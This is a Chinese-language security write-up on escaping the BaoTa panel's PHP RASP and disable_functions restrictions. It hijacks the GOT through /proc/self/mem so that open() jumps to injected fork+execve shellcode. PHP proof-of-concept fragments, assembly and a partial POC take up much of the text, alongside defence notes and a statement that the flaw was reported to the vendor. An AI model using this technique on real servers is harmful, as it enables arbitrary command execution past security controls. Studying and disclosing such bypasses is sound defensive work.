针对宝塔的RASP及其disable_functions的绕过
字数 1064 2025-08-19 12:40:57
宝塔RASP及disable_functions绕过技术分析
一、实验环境
- 宝塔面板配置:
- 开启防跨站攻击(open_basedir限制)
- 启用堡塔PHP安全防护(RASP)
- 启用堡塔防提权模块
- 目标:
- 突破
disable_functions限制 - 绕过RASP对
www权限的命令执行拦截
- 突破
二、技术背景
- RASP(运行时应用自我保护):
- 拦截所有
www用户的命令执行(如system()、su www等)。 - 通过底层兼容机制避免PHP崩溃。
- 拦截所有
- disable_functions:
- 宝塔维护了最严格的禁用函数列表,需绕过才能执行任意命令。
三、绕过disable_functions:GOT表劫持
1. GOT/PLT表原理
- PLT(过程链接表):保存跳转到GOT的指令。
- GOT(全局偏移表):存储函数实际地址,动态链接时填充。
- 劫持思路:修改GOT表中目标函数(如
open)的地址,指向恶意代码。
2. 实现步骤
-
解析ELF文件:
- 通过
/proc/self/exe获取当前PHP进程的ELF信息。 - 提取
PLT和GOT表偏移(关键代码见elf类)。
$test = new elf(); $test->get_section('/proc/self/exe'); $test->get_reloc(); $open_php = $test->rel_plts['open']; // 获取open函数的GOT偏移 - 通过
-
定位内存布局:
- 读取
/proc/self/maps获取栈地址和PIE基址。
$maps = file_get_contents('/proc/self/maps'); preg_match('/(\w+)-(\w+)\s+.+\[stack]/', $maps, $stack); $pie_base = hexdec("0x".(explode('-', $maps)[0])); - 读取
-
修改GOT表:
- 通过
/proc/self/mem写入恶意地址到GOT表。
$mem = fopen('/proc/self/mem', 'wb'); fseek($mem, $open_php); fwrite($mem, $test->packlli($shellcode_loc)); // 将open指向shellcode - 通过
四、绕过RASP:Shellcode注入
1. 绕过策略
- 不依赖
system:直接注入Shellcode执行提权操作,避免触发RASP的命令拦截。 - 独立进程:通过
fork+execve创建脱离终端的新进程。
2. Shellcode设计
- 关键汇编:
push 0x39 ; fork系统调用 pop eax syscall test eax, eax ; 判断子进程 jne exit mov rdi, [filename_ptr] ; 设置execve参数 mov rsi, [argv_ptr] xor edx, edx push 0x3b ; execve系统调用 pop eax syscall - 写入内存:
$shellcode = "\x68\x39\x00\x00\x00..."; // 编译后的机器码 fseek($mem, $shellcode_loc); fwrite($mem, $shellcode);
3. 触发执行
- 调用任意文件操作函数(如
readfile)触发open的GOT跳转:readfile('dummy', 'r'); // 触发shellcode
五、调试技巧
- GDB断点:
- 在Shellcode入口下断点:
break *0x[shellcode_loc]。
- 在Shellcode入口下断点:
- 内存检查:
- 使用
/proc/self/maps验证内存权限和布局。
- 使用
六、防御与修复
- 宝塔修复方案:
- 限制
/proc/self/mem的写入权限。 - 监控GOT表修改行为。
- 限制
- 通用防御:
- 启用ASLR(地址空间随机化)。
- 禁用不必要的
/proc文件访问。
七、完整POC(关键部分)
// 解析ELF获取GOT偏移
$test = new elf();
$test->get_section('/proc/self/exe');
$test->get_reloc();
$open_php = $test->rel_plts['open'];
// 修改GOT表指向shellcode
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
fwrite($mem, $test->packlli($shellcode_loc));
// 写入Shellcode
$shellcode = "\x68\x39\x00..."; // 实际机器码
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
// 触发执行
readfile('trigger', 'r');
八、参考资源
- ELF文件格式详解
- Linux系统调用表(x86_64)
/proc/self/mem利用技术
注:本文仅用于技术研究,实际利用已提交宝塔官方修复。